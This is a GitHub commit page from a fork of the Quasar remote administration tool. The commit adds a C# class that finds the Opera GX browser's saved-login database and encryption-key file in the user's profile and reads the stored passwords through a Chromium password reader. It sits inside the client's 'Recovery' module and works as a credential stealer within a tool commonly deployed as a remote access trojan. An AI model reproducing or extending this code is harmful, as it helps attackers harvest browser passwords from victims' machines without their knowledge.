forked from quasar/Quasar
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Fix copy command & Opera GX Password Recovery
- Loading branch information
Showing
4 changed files
with
36 additions
and
5 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,30 @@ | ||
using Quasar.Common.Models; | ||
using System; | ||
using System.Collections.Generic; | ||
using System.IO; | ||
|
||
namespace Quasar.Client.Recovery.Browsers | ||
{ | ||
public class OperaGXPassReader : ChromiumBase | ||
{ | ||
/// <inheritdoc /> | ||
public override string ApplicationName => "Opera GX"; | ||
|
||
/// <inheritdoc /> | ||
public override IEnumerable<RecoveredAccount> ReadAccounts() | ||
{ | ||
try | ||
{ | ||
string filePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), | ||
"Opera Software\\Opera GX Stable\\Login Data"); | ||
string localStatePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), | ||
"Opera Software\\Opera GX Stable\\Local State"); | ||
return ReadAccounts(filePath, localStatePath); | ||
} | ||
catch (Exception) | ||
{ | ||
return new List<RecoveredAccount>(); | ||
} | ||
} | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters